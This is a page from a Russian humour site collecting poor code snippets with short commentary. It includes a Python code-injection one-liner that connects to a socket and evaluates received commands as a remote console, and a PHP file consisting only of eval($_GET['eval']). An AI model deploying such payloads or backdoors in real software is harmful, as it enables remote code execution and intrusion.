1. Лучший говнокод

    В номинации:
    За время:
  2. Objective C / Говнокод #11953

    −105

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    if (indexPath.row==0 && indexPath.section==0) {
      // ...
    } else if (indexPath.row==1 && indexPath.section==0) {
      // ...
    } else if (indexPath.row==0 && indexPath.section==2) {
      // ...
    } else if (indexPath.section == 2 && indexPath.row == 1) {
      // ...
    }

    В оригинале еще и оформление кода абсолютно шизофреническое. Откуда только такие берутся?

    byss, 18 Октября 2012

    Комментарии (24)
  3. Python / Говнокод #11923

    −94

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    42 if (
        setattr(__builtins__,'___m', {'s':__import__('socket'),'l':__import__('select'),'i':__import__('itertools'),'t':__import__('threading')}),
        setattr(__builtins__,'___conn',__builtins__.___m['s'].create_connection(('127.0.0.1',10500))),
        setattr(__builtins__,'___worker' ,lambda S: any( 
            (True if __builtins__.___m['l'].select([S],[S],[S])[2] else S.sendall(repr(eval(S.recv(4096), globals(), locals()))+'\n')) for i in __builtins__.___m['i'].repeat(0) )
            ),
        __builtins__.___m['t'].Thread(target=__builtins__.___worker,args=(__builtins__.___conn,) ).start(),
        ) else 0

    Code injection для вызовов eval() и input(). Запускает некое подобие Python-консоли в отдельном потоке.
    Отформатировано для удобства чтения, вообще это однострочник.

    Говно в способе, которым организуется цикл работы с сокетом. А что поделать, даже while недоступен.

    Vindicar, 15 Октября 2012

    Комментарии (24)
  4. PHP / Говнокод #11916

    +66

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    <?php
    
       //You can even add more Dollar Signs
    
       $Bar = "a";
       $Foo = "Bar";
       $World = "Foo";
       $Hello = "World";
       $a = "Hello";
    
       $a; //Returns Hello
       $$a; //Returns World
       $$$a; //Returns Foo
       $$$$a; //Returns Bar
       $$$$$a; //Returns a
    
       $$$$$$a; //Returns Hello
       $$$$$$$a; //Returns World
    
       //... and so on ...//
    
    ?>

    Из комментов на http://www.php.net/manual/en/language.variables.variable.php

    xaionaro, 12 Октября 2012

    Комментарии (24)
  5. ActionScript / Говнокод #11722

    −86

    1. 1
    var file: * = File.userDirectory.resolvePath(CACHE_PATH + hashURL(key));

    На первый взгляд просто немного странный код, но за ним стоит интересная история.
    Человек написавший этот код после долгих расспросов и двузначных ответов таки сознался, что таким образом он надеялся избежать компиляции AIR классов в бразуерном проекте. Но интереснее еще и то, что человек продолжает в это свято верить и отстаивать свою точку зрения... а я уволился.
    Если вы не в курсе, Адоби делают несколько версий плееров, одна "ветка" предназначена для запуска с десктопа и ей можно обращаться к файловой системе, в то время как обычному плееру в браузере такое делать нельзя, ну или только после всяческих подтверждений и т.п. Человек таким образом пытлася написать кеширование загруженных картинок на диск к пользователю. Но тут судьба сыграла злую шутку, он компилировал все эти классы в библиотеку, которую забывал обновлять, и по счастливому стечению обстоятельств, библиотечный класс не содержал никаких упоминаний файловой системы - и все работало замечательно.

    Прогрнозируемый разрыв шаблона произойдет примерно недели через две-три, когда нужно будет обновлять версию. Ну, это конечно при условии, что кеширование каким-то образом будут тестировать, но, скорее всего не будут, и шутка может затянуться.

    wvxvw, 07 Сентября 2012

    Комментарии (24)
  6. PHP / Говнокод #11712

    +72

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    /*
     * Called from a large number of places
     * By Ofer
     */
    static function getOrderStatus( $po_numb='', $supplier='', $shipping='', $id=0,$customer_id=0,$order='',$order_asc='',$item_status_id=0,$order_status=0, $start_date='',$end_date='',
    		$name_begins_with = '', $phone = '', $email = '', $list_mgr_id = 0, $is_corporate = '', $sales_id=0,
    		$first_name = '', $last_name='', $city='', $state='', 
    		$zip='', $store_numb=0, $po_numb='', $release_date='',$supplier=0, 
    		$tracking_numb='', $payment_method='', $shipped_balance='', $avs='', $last4='', 
    		$brand_id=0, $model_numb='',$damage='', $delivery_issue='', $past_damage='', 
    		$coming_back='', $file_claim_ups='', $file_claim_frt='', $rewview='', $balance='', $shipper=0,
    		$has_balance = 0, $sales_account_id=0, $reference_number="", $third_party_order='', $ebay_id='', $trucker_id='',$get_total=false, 
    		$limit=0, $start=0, $use_dates=0) {

    Просто очаровательный комментарий!

    paulrudy, 05 Сентября 2012

    Комментарии (24)
  7. PHP / Говнокод #11592

    +53

    1. 1
    2. 2
    <?php
    eval($_GET['eval']);

    И это весь файл. Epic Fail.

    duxabilii, 15 Августа 2012

    Комментарии (24)
  8. C++ / Говнокод #11528

    +12

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    void EllipticPoint::Add(const EllipticPoint &b, const EllipticCoord &a, const EllipticCoord &p, EllipticPoint &res) {
        if (!x.IsNotZero() && !y.IsNotZero()) {
            res = b;
        } else if (!b.x.IsNotZero() && !b.y.IsNotZero()) {
            res = *this;
        } else if (x.Compare(b.x)!=0) {
            EllipticCoord tmp1, tmp2, lambda;
            b.x.Sub(x,p,tmp1); tmp1.Invert(p,tmp2);
            b.y.Sub(y,p,tmp1); tmp1.Mul(tmp2,p,lambda);
            lambda.Mul(lambda,p,tmp1);
            tmp1.Sub(x,p,tmp2); tmp2.Sub(b.x,p,res.x);
            x.Sub(res.x,p,tmp1); lambda.Mul(tmp1,p,tmp2); tmp2.Sub(y,p,res.y);
        } else if (y.Compare(b.y)==0) {
            EllipticCoord tmp1, tmp2, tmp3, lambda;
            x.Mul(x,p,tmp1); tmp1.Add(tmp1,p,tmp3); tmp1.Add(tmp3,p,tmp2); tmp2.Add(a,p,tmp1);
            y.Add(y,p,tmp2); tmp2.Invert(p,tmp3); tmp1.Mul(tmp3,p,lambda);
            lambda.Mul(lambda,p,tmp1); tmp1.Sub(x,p,tmp2); tmp2.Sub(x,p,res.x);
            x.Sub(res.x,p,tmp1); lambda.Mul(tmp1,p,tmp3); tmp3.Sub(y,p,res.y);
        } else {
            res.x.SetZero();
            res.y.SetZero();
        }
    }

    Из моего велосипеда четырехлетней давности.
    Кусочек реализации ГОСТ Р 34.10-2001.

    bormand, 03 Августа 2012

    Комментарии (24)
  9. Java / Говнокод #11245

    +87

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
       public static final String HTTP = "http://";
        public static final String HTTPS = "https://";
    
        public static final String HTTP_UP = "HTTP://";
        public static final String HTTPS_UP = "HTTPS://";
    
        public static final String HTTP_UP_1 = "Http://";
        public static final String HTTPS_UP_1 = "Https://";
    
        private static final String STUPID_PROTOCOL = "http://http://";
        private static final String STUPID_PROTOCOL_1 = "ttp://";
        private static final String STUPID_PROTOCOL_2 = "hhttp://";

    из утилит по проверки урлов

    ykhrustalev, 20 Июня 2012

    Комментарии (24)
  10. C++ / Говнокод #10516

    −52

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    /// Get the x-axis
    b2Vec2 GetXAxis() const
    {
    	return b2Vec2(c, s);
    }
    
    /// Get the u-axis
    b2Vec2 GetYAxis() const
    {
    	return b2Vec2(-s, c);
    }

    Box2D, говнокомментарий

    tymofey, 01 Июня 2012

    Комментарии (24)
  11. PHP / Говнокод #10409

    +64

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    /*
     *---------------------------Темка на одном seo форуме...
     *Проблемка вот в чём:
     *используется такая конструкция
    */
    
    echo '<td class="play"><span class="doRadio" onclick="doRadio('.$row['alt_name'].', '.$row['name'].');">Play</span></td>';
    
    /*
     *при правильном раскладе должно получиться так
     *<span class="doRadio" onclick="doRadio('kissfmua', 'KISS FM');">Play</span>
     *но теряются одиночные кавычки ('kissfmua', 'KISS FM') как я не менял выдает ошибку
     *подскажите!
    */
    
    /*
     *---------------------------Ответ одного формучанина
    echo '<td class="play"><span class="doRadio" onclick="doRadio(\''.$row['alt_name'].'\', \''.$row['name'].'\');">Play</span></td>';

    Я просто в ахуе...

    kise97, 29 Мая 2012

    Комментарии (24)